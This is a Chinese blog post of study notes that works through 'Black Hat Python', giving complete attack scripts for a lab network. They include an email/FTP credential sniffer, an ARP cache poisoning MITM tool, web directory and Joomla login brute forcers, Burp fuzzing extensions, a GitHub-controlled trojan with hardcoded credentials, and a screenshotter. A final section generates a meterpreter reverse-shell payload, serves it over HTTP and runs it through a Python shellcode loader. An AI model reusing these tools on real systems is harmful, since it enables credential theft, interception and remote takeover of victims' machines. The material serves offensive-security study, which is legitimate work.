sniffer.bind((host, 0))

# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# 在Windows平台上,我们需要设置IOCTL以启动混杂模式
if os.name == "nt":
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

# 开始发送数据包
t = threading.Thread(target=udp_sender, args=(subnet, magic_message))
t. start()

try:
    while True:

        # 读取数据包
        raw_buffer = sniffer.recvfrom(65535)[0]

        # 将缓冲区的前20个字节按IP头进行解析
        ip_header = IP(raw_buffer[0:20])

        # 输出协议和通信双方IP地址
        # print "Protocol : %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)

        # 处理ICMP协议
        if ip_header.protocol == "ICMP":
            # 计算ICMP包的起始位置
            offset = ip_header.ihl * 4
            buf = raw_buffer[offset:offset + sizeof(ICMP)]

            # 解释ICMP数据
            icmp_header = ICMP(buf)

            # print "ICMP -> Type: %d  Code: %d" % (icmp_header.type, icmp_header.code)

            # 检查类型和代码值是否为3
            if icmp_header.code == 3 and icmp_header.type == 3:

                # 确认响应的主机在我们的目标子网之内
                if IPAddress(ip_header.src_address) in IPNetwork(subnet):

                    # 确认ICMP数据中包含我们发送的自定义字符串
                    if raw_buffer[len(raw_buffer) - len(magic_message):] == magic_message:
                        print "Host Up: %s" % ip_header.src_address

# 处理CTRL-C
except KeyboardInterrupt:

    # 如果运行在Windows上,关闭混杂模式
    if os.name == "nt":
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

好像需要关闭防火墙才能被探测到,不然只能探测到自己。

1622451235_60b4a423b8bb33cf11477.png!small?1622451236724

1622451259_60b4a43b9eb7fb8980c11.png!small?1622451260718

第四章  Scapy:网络的掌控者

1、窃取Email认证

scapy下载地址
pip下载地址

mail_sniffer.py(python2)

# coding=utf-8
from scapy.all import *


# 数据包回调函数
def packet_callback(packet):

    if packet[TCP].payload:
        mail_packet = str(packet[TCP].payload)
        if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
            print "[*] Server: %s" % packet[IP].dst
            print "[*] %s" % packet[TCP].payload


# 开启mail嗅探器
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0)
# 开启ftp嗅探器
# sniff(filter="tcp port 21", prn=packet_callback, store=0)

由于现在的邮箱都是通过SSL加密的,这里使用ftp进行演示:

配置vsftpd

1622451870_60b4a69e706999f128d20.png!small?1622451872467

1622451902_60b4a6beadb292ad5575b.png!small?1622451903455

1622451926_60b4a6d6aedb83db00c52.png!small?1622451927627

1622451938_60b4a6e201decb3992b36.png!small?1622451940066

1622452029_60b4a73d098bdf2c121bb.png!small?1622452030306

1622452107_60b4a78b5e193ccd1d18c.png!small?1622452108172

使用windows登录ftp,在本机连接没有效果。

1622452348_60b4a87cb524d6d5be76a.png!small?1622452352395

2、利用Scapy进行ARP缓存投毒

arper.py(python2)

# coding=utf-8
import time
from scapy.all import *
import os
import sys
import threading
import signal

interface = "eth0"
target_ip = "192.168.220.137"   # 目标ip
gateway_ip = "192.168.220.2"    # 网关ip
packet_count = 1000

# 设置嗅探的网卡
conf.iface = interface

# 关闭输出, verb:详细级别,从0到3,越高越详细
conf.verb = 0

print "[*] Setting up %s" % interface


def get_mac(ip_address):

    # 使用srp函数向目标ip发送arp请求,获取目标ip的mac地址
    responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10)

    # 返回从响应数据中获得的MAC地址
    for s, r in responses:
        return r[Ether].src

    return None


def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):

    poison_target = ARP()
    poison_target.op = 2                # op表示请求和响应,1代表请求,2代表响应,默认为1
    poison_target.psrc = gateway_ip     # 源ip
    poison_target.pdst = target_ip      # 目的ip
    poison_target.hwdst = target_mac    # 目的mac

    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac

    print "[*] Beginning the ARP poison. [CTRL-C to stop]"

    while True:
        try:
            send(poison_target)
            send(poison_gateway)

            time.sleep(2)
        except KeyboardInterrupt:
            restore_target(gateway_ip, gateway_mac, target_ip, target_mac)

    print "[*] ARP poison attack finished."

    return


def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
    # 以下代码中调用send函数的方式稍有不同
    print "[*] Restoring target..."
    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)

    # 发送退出信号到主线程
    os.kill(os.getpid(), signal.SIGINT)


gateway_mac = get_mac(gateway_ip)

if gateway_mac is None:
    print "[!!!] Failed to get gateway MAC. Exiting."
    sys.exit(0)
else:
    print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac)

target_mac = get_mac(target_ip)

if target_mac is None:
    print "[!!!] Failed to get target MAC. Exiting."
    sys.exit(0)
else:
    print "[*] Target %s is at %s" % (target_ip, target_mac)

# 启动APR投毒线程,不断给网关/目标投毒,使网关/目标认为攻击者就是目标/网关,从而不断给攻击者发送数据
poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()

try:
    print "[*] Starting sniffer fro %d packets" % packet_count

    bpf_filter = "ip host %s" % target_ip

    packets = sniff(count=packet_count, filter=bpf_filter, iface=interface)

    # 将捕获到的数据包输出到文件
    wrpcap('arper.pacp', packets)

    # 还原网络配置
    restore_target(gateway_ip, gateway_mac, target_ip, target_mac)

except KeyboardInterrupt:
    # 还原网络配置
    restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
    sys.exit(0)

攻击者需要开启对网关和目标IP地址的流量进行转发的功能

1622477744_60b50bb08157b19e02e07.png!small?1622477745492

受害者原始arp信息

1622477796_60b50be4428246ab482d5.png!small?1622477797441

1622477803_60b50bebcbb2a60789692.png!small?1622477804822

攻击者ip与mac

1622477827_60b50c0378f0a13ef9205.png!small?1622477828539

开始arp投毒

1622477840_60b50c10d4cd3a066000a.png!small?1622477842299

投毒成功,受害者的arp信息中网关(192.168.220.2)的mac地址变为了攻击者(192.168.220.136)的mac地址

1622477877_60b50c359cabc90dd828a.png!small?1622477878614

3、处理PCAP文件

这个搞了几天都没搞定,Opencv一直没有安装成功,不建议做。

Opencv安装教程

第五章  Web攻击

1、开源Web应用安装

下载3-8-2版本的joomla

wget https://downloads.joomla.org/cms/joomla3/3-8-2/Joomla_3-8-2-Stable-Full_Package.tar.gz

解压

tar xzf Joomla_3-8-2-Stable-Full_Package.tar.gz

web_app_mapper.py(python2)

import Queue
import threading
import os
import urllib2

threads = 10

target = "http://www.taobao.com"
directory = "/home/kali/Mysoft/Joomla_3-8-2/"
filters = [".jpg", ".gif", "png", ".css"]

os.chdir(directory)

web_paths = Queue.Queue()

for r, d, f in os.walk("."):
    for files in f:
        remote_path = "%s/%s" % (r, files)
        if remote_path.startswith("."):
            remote_path = remote_path[1:]
        if os.path.splitext(files)[1] not in filters:
            web_paths.put(remote_path)


def test_remote():
    while not web_paths.empty():
        path = web_paths.get()
        url = "%s%s" % (target, path)

        request = urllib2.Request(url)

        try:
            response = urllib2.urlopen(request)
            content = response.read()

            print "[%d] => %s" % (response.code, path)

            response.close()

        except urllib2.HTTPError as error:
            # print "Failed %s" % error.code
            pass


for i in range(threads):
    print "Spawning thread: %d" % i
    t = threading.Thread(target=test_remote)
    t.start()

1622896726_60bb7056ef63a631090c9.png!small?1622896727664

2、暴力破解目录和文件位置

字典下载

wget  https://raw.githubusercontent.com/nathanmyee/SVNDigger/master/SVNDigger/all.txt

content_bruter.py(python2)

# coding=utf-8
import urllib2
import threading
import Queue
import urllib

threads = 1
target_url = "http://192.168.220.137"
wordlist_file = "/tmp/all.txt"  # from SVNDigger
resume = None
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"


def build_wordlist(wordlist_file):

    # 读入字典文件
    fd = open(wordlist_file, "rb")
    raw_words = fd.readlines()
    fd.close()

    found_resume = False
    words = Queue.Queue()

    for word in raw_words:

        word = word.rstrip()

        if resume is not None:
            if found_resume:
                words.put(word)

            else:
                if word == resume:
                    found_resume = True
                    print "Resuming wordlist from: %s" % resume

        else:
            words.put(word)

    return words


def dir_bruter(word_queue, extensions=None):

    while not word_queue.empty():
        attempt = word_queue.get()

        attempt_list = []

        # 检查是否有文件拓展名,如果没有,就是我们要暴力破解的路径
        if "." not in attempt:
            attempt_list.append("/%s/" % attempt)
        else:
            attempt_list.append("/%s" % attempt)

        if extensions:
            for extension in extensions:
                attempt_list.append("/%s%s" % (attempt, extension))

        for brute in attempt_list:
            url = "%s%s" % (target_url, urllib.quote(brute))

            try:
                headers = {}
                headers["User-Agent"] = user_agent
                r = urllib2.Request(url, headers=headers)

                response = urllib2.urlopen(r)

                if len(response.read()):
                    print "[%d] => %s" % (response.code, url)

            except urllib2.URLError, e:
                if hasattr(e, 'code') and e.code != 404:
                    print "!!! %d => %s" % (e.code, url)

                pass


word_queue = build_wordlist(wordlist_file)
extensions = [".php", ".bak", ".orig", ".inc"]

for i in range(threads):
    t = threading.Thread(target=dir_bruter, args=(word_queue, extensions))
    t.start()

1622978533_60bcafe55d3e97ef43ad6.png!small?1622978533435

3、暴力破解HTML表格认证

Joomla服务器搭建教程

字典下载

wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Software/cain-and-abel.txt

joomla_kill.py(python2)

# coding=utf-8
import urllib2
import urllib
import cookielib
import threading
import sys
import Queue

from HTMLParser import HTMLParser

# general settings
user_thread = 10
username = "cloudcoll"
wordlist_file = "/tmp/cain.txt"
resume = None

# target specific settings
target_url = "http://localhost/administrator/index.php"
target_post = "http://localhost/administrator/index.php"

username_field = "username"
password_field = "passwd"

success_check = "Administration - Control Panel"


class BruteParser(HTMLParser):

    def __init__(self):
        HTMLParser.__init__(self)
        self.tag_results = {}

    def handle_starttag(self, tag, attrs):
        if tag == "input":
            tag_name = None
            tag_value = None
            for name, value in attrs:
                if name == "name":
                    tag_name = value
                if name == "value":
                    tag_value = value

            if tag_name is not None:
                self.tag_results[tag_name] = value


class Bruter(object):
    def __init__(self, username, words):

        self.username = username
        self.password_q = words
        self.found = False

        print "Finished setting up for: %s" % username

    def run_bruteforce(self):

        for i in range(user_thread):
            t = threading.Thread(target=self.web_bruter)
            t.start()

    def web_bruter(self):

        while not self.password_q.empty() and not self.found:
            brute = self.password_q.get().rstrip()
            jar = cookielib.FileCookieJar("cookies")
            opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))

            response = opener.open(target_url)

            page = response.read()

            print "Trying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize())

            # parse out the hidden fields
            parser = BruteParser()
            parser.feed(page)

            post_tags = parser.tag_results

            # add our username and password fields
            post_tags[username_field] = self.username
            post_tags[password_field] = brute

            login_data = urllib.urlencode(post_tags)
            login_response = opener.open(target_post, login_data)

            login_result = login_response.read()

            if success_check in login_result:
                self.found = True

                print "[*] Bruteforce successful."
                print "[*] Username: %s" % username
                print "[*] Password: %s" % brute
                print "[*] Waiting to exit..."


def build_wordlist(wordlist_file):

    # read in the word list
    fd = open(wordlist_file, "rb")
    raw_words = fd.readlines()
    fd.close()

    found_resume = False
    words = Queue.Queue()

    for word in raw_words:

        word = word.rstrip()

        if resume is not None:

            if found_resume:
                words.put(word)
            else:
                if word == resume:
                    found_resume = True
                    print "Resuming wordlist from: %s" % resume

        else:
            words.put(word)

    return words


words = build_wordlist(wordlist_file)

bruter_obj = Bruter(username, words)
bruter_obj.run_bruteforce()

1622978793_60bcb0e91ea89b6abb026.png!small?1622978793283

可能是版本太高破解不出来,安装Joomla 3.1.1报错未安装成功。

第六章 拓展Burp代理

1、Burp模糊测试

bhp_fuzzer.py(python2)

# coding=utf-8
from burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGenerator

from java.util import List, ArrayList

import random


# 定义BurpExtender类,并继承IBurpextender类与IIntruderPayloadGeneratorFactory类
class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
    # 传入callbacks参数在Burp中正确注册
    def registerExtenderCallbacks(self, callbacks):
        # 将传递过来的callbacks赋值到类中
        self._callbacks = callbacks
        # 将帮助信息传入到类中
        self._helpers = callbacks.getHelpers()

        # 将拓展在Burp Intruder模块中注册
        callbacks.registerIntruderPayloadGeneratorFactory(self)

        return

    # 使用return返回拓展名,并设置
    def getGeneratorName(self):
        return "BHP Payload Generator"

    # 接受attack参数,并返回IIntruderPayloadGenerator类。
    def createNewInstance(self, attack):
        return BHPFuzzer(self, attack)


# 定义BHPfuzzer类,并继承IIntruderPayloadGenerator类
class BHPFuzzer(IIntruderPayloadGenerator):
    # 定义初始方法
    def __init__(self, extender, attack):
        self._extender = extender
        self._helpers = extender._helpers
        self._attack = attack
        print("BHP Fuzzer initialized")
        # 定义payload上限
        self.max_payloads = 10
        # 记录payload数量
        self.num_iterations = 0

        return

    # 定义停止攻击条件
    def hasMorePayloads(self):
        print
        "hasMorePayload called."
        # 当记录的payload达到上限时停止
        if self.num_iterations == self.max_payloads:
            print("No more payloads.")
            return False

        else:
            print("More payloads. Continuing.")
            return True

    # 返回payload
    def getNextPayload(self, current_payload):

        # convert into a string
        # 转换成字符串
        payload = "".join(chr(x) for x in current_payload)

        # call our simple mutator to fuzz the POST
        # 调用简单的变形器对POST请求进行模糊测试
        payload = self.mutate_payload(payload)

        # increase the number of fuzzing attempts
        # 记录payload次数
        self.num_iterations += 1

        return payload

    # 重置函数
    def reset(self):
        # 清零
        self.num_iterations = 0
        return

    def mutate_payload(self, original_payload):

        # pick a simple mutator or even call an external script
        # like Radamsa does
        # 仅生成随机数,或者调用一个外部脚本
        picker = random.randint(1, 3)

        # select a random offset in the payload to mutate
        # 在载荷中选取一个随机的偏移变量去变形
        offset = random.randint(0, len(original_payload) - 1)
        payload = original_payload[:offset]

        # random offset insert a SQL injection attempt
        # 在随机便宜位置插入SQL注入尝试
        if picker == 1:
            payload += "'"

        # jam an XSS attempt in
        # 插入XSS尝试
        if picker == 2:
            payload += "<script>alert('BHP!');</script>"

        # repeat a chunk of the original payload a random number
        # 随机重复原始载荷
        if picker == 3:

            chunk_length = random.randint(len(payload[offset:]), len(payload) - 1)
            repeater = random.randint(1, 10)

            for i in range(repeater):
                payload += original_payload[offset:offset + chunk_length]

        # add the remaining bits of the payload
        # 添加载荷中剩余的字节
        payload += original_payload[offset:]

        return payload

1623074976_60be28a0266f10448fbf1.png!small?1623074975859

1623075012_60be28c4558f53e4b36f3.png!small?1623075012019

2、在Brup中利用Bing服务

由于获取不到bing_api_key ,看不到最终效果,所以没做。

3、利用网站内容生成密码字典

bhp_wordlist.py(python2)

from burp import IBurpExtender
from burp import IContextMenuFactory

from javax.swing import JMenuItem
from java.util import List, ArrayList
from java.net import URL

import re
from datetime import datetime
from HTMLParser import HTMLParser


class TagStripper(HTMLParser):
    def __init__(self):
        HTMLParser.__init__(self)
        self.page_text = []

    def handle_data(self, data):
        self.page_text.append(data)

    def handle_comment(self, data):
        self.handle_data(data)

    def strip(self, html):
        self.feed(html)
        return " ".join(self.page_text)


class BurpExtender(IBurpExtender, IContextMenuFactory):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        self.context = None
        self.hosts = set()

        # Start with something we know is common
        self.wordlist = set(["password"])

        # we set up our extension
        callbacks.setExtensionName("BHP Wordlist")
        callbacks.registerContextMenuFactory(self)

    def createMenuItems(self, context_menu):
        self.context = context_menu
        menu_list = ArrayList()
        menu_list.add(JMenuItem("Create Wordlist", actionPerformed=self.wordlist_menu))

        return menu_list

    def wordlist_menu(self, event):

        # grab the details of what the user clicked
        http_traffic = self.context.getSelectedMessages()

        for traffic in http_traffic:
            http_service = traffic.getHttpService()
            host = http_service.getHost()

            self.hosts.add(host)

            http_response = traffic.getResponse()

            if http_response:
                self.get_words(http_response)

        self.display_wordlist()

    def get_words(self, http_response):
        headers, body = http_response.tostring().split('\r\n\r\n', 1)

        # skip non-text responses
        if headers.lower().find("content-type: text") == -1:
            return

        tag_stripper = TagStripper()
        page_text = tag_stripper.strip(body)

        words = re.findall("[a-zA-Z]\w{2,}", page_text)

        for word in words:

            # filter out long strings
            if len(word) <= 12:
                self.wordlist.add(word.lower())

    def mangle(self, word):
        year = datetime.now().year
        suffixes = ["", "1", "!", year]
        mangled = []

        for password in (word, word.capitalize()):
            for suffix in suffixes:
                mangled.append("%s%s" % (password, suffix))

        return mangled

    def display_wordlist(self):
        print "#!comment: BHP Wordlist for site(s) %s" % ", ".join(self.hosts)

        for word in sorted(self.wordlist):
            for password in self.mangle(word):
                print password

1623075769_60be2bb997b6a1be0d664.png!small?1623075769466

1623075769_60be2bb9927a3915893c1.png!small?1623075769469

第七章 基于GitHub的命令和控制

1、Github相关配置

先注册github账号,然后在linux上安装github。

linux上github安装教程

1623081604_60be4284cdbff42f4c8fe.png!small?1623081604498

先在github上创建名为chapter7的Repositories,再做相关配置

mkdir trojan
cd trojan
gitinit
mkdir modules config data
touch modules/.gitignore config/.gitignore data/.gitignore
git add .
git commit -m "Adding repo structure for trojan."  
git remote add origin https://github.com/cloudcoll/chapter7.git
git push origin master

1623081797_60be4345a6e9cde483831.png!small?1623081797300

1623082865_60be47719c4d915c06cc6.png!small?1623082865245

dirlister.py

import os

def run(**args): print "[*] In dirlister moduls." files = os.listdir(".") return str(files)

environment.py

import os


def run(**args):
    print "[*] In environment module."
    return str(os.environ)

push to github

git add
git commit -m "Adding new modules"  
git push origin master

1623082960_60be47d0f3750f25ed47f.png!small?1623082960526

abc.json

[
  {
    "module" : "dirlister"
  },
  {
    "module" : "environment"
  }
]

2、编写基于GitHub通信的木马

git_trojan.py(python2)

# coding=utf-8
import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os

from github3 import login

trojan_id = "abc"

trojan_config = "%s.json" % trojan_id
data_path = "data/%s/" % trojan_id
trojan_modules = []
configured = False
task_queue = Queue.Queue()


def connect_to_github():
    gh = login(username="cloudcoll", password="123333.zfl")
    repo = gh.repository("cloudcoll", "chapter7")
    branch = repo.branch("master")

    return gh, repo, branch


def get_file_contents(filepath):
    gh, repo, branch = connect_to_github()
    tree = branch.commit.commit.tree.recurse()

    for filename in tree.tree:
        if filepath in filename.path:
            print "[*] Found file %s" % filepath
            blob = repo.blob(filename._json_data['sha'])
            return blob.content

    return None


def get_trojan_config():
    global configured
    config_json = get_file_contents(trojan_config)
    config = json.loads(base64.b64decode(config_json))
    configured = True

    for task in config:
        if task['module'] not in sys.modules:
            exec ("import %s" % task['module'])

    return config


def store_module_result(data):
    gh, repo, branch = connect_to_github()
    remote_path = "data/%s/%d.data" % (trojan_id, random.randint(1000, 100000))
    repo.create_file(remote_path, "Commit message", base64.b64encode(data))
    return


# 破解python模块导入功能
class GitImporter(object):
    """docstring for GitImporter"""

    def __init__(self):
        self.current_module_code = ""

    def find_module(self, fullname, path=None):
        if configured:
            print "[*] Attempting to retrieve %s" % fullname
            new_library = get_file_contents("modules/%s" % fullname)

            if new_library is not None:
                self.current_module_code = base64.b64decode(new_library)
                return self

        return None

    def load_module(self, name):
        module = imp.new_module(name)
        exec self.current_module_code in module.__dict__
        sys.modules[name] = module

        return module


def module_runner(module):
    task_queue.put(1)
    result = sys.modules[module].run()
    task_queue.get()

    # 保存结果到我们的repo中
    store_module_result(result)

    return


# 木马的主循环
sys.meta_path = [GitImporter()]

while True:
    if task_queue.empty():
        config = get_trojan_config()
    for task in config:
        t = threading.Thread(target=module_runner, args=(task['module'],))
        t.start()
        time.sleep(random.randint(1, 10))

    time.sleep(random.randint(1000, 10000))

运行不起来,github3.py中一直报错,看不到效果。

第八章 Windows下木马的常用功能

1、有趣的键盘记录

pyHook下载

pythoncom下载

python2.7-32bit下载

在windows系统、python2.7-32bit的环境下运行

keylogger.py(python2)

代码中有敏感词,freebuf上发不出来,参考链接1参考链接2

1623150214_60bf4e8644a7eef0ec04b.png!small?1623150215179

2、截取屏幕快照

在windows系统、python2.7-32bit的环境下运行

screenshotter.py(python2)

# coding=utf-8
import win32gui
import win32ui
import win32con
import win32api

# 获得桌面窗口的句柄
hdesktop = win32gui.GetDesktopWindow()

# 获得所有显示屏的像素尺寸
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# 创建基于内存的设备描述表
mem_dc = img_dc.CreateCompatibleDC()

# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)

# 复制屏幕到我们的内存设备描述表中
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)

# 将位图保存到文件
screenshot.SaveBitmapFile(mem_dc, 'C:\\Python27\\screenshot.bmp')

# 释放对象
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

1623200424_60c012a8967e9262ba6ad.png!small?1623200425430

3、Python方式的shellcode执行

使用kali生成windows的shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.138 LPORT=1234 -f raw -o win_backdoor.raw 

1623201947_60c0189b2a93930874763.png!small?1623201947668

使用base64进行编码

base64 -i win_backdoor.raw > shellcode.bin

1623202049_60c01901b54b98306b468.png!small?1623202050388

copy到web目录下

1623202116_60c01944c746cae56f794.png!small?1623202117268

使用默认配置开启web服务

1623202151_60c01967b82a45aea2acb.png!small?1623202152223

尝试访问shellcode,成功访问

1623202224_60c019b04d94bbf456d48.png!small?1623202224769

使用msf进行监听

msfconsole
use exploit/multi/handler  set payload windows/meterpreter/reverse_tcp set LHOST 192.168.220.138 set LPORT 1234 exploit

1623202576_60c01b10106fd8758843f.png!small

shell_exec.py(python2)

# coding=utf-8
import urllib2
import ctypes
import base64

# 从我们的Web服务器上下载shellcode
url = "http://192.168.220.138/shellcode.bin"
response = urllib2.urlopen(url)

# base64解码shellcode
shellcode = base64.b64decode(response.read())

# 申请内存空间
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))

# 创建shellcode的函数指针
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))

# 执行shellcode
shellcode_func()

在windows中使用python2.7-32bit执行

1623203232_60c01da044e87095645a9.png!small?1623203232589

kali接收到shell

1623203281_60c01dd1ee257b6edf964.png!small?1623203282541

来源:freebuf.com 2021-05-31 17:35:00 by: cloudcoll

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论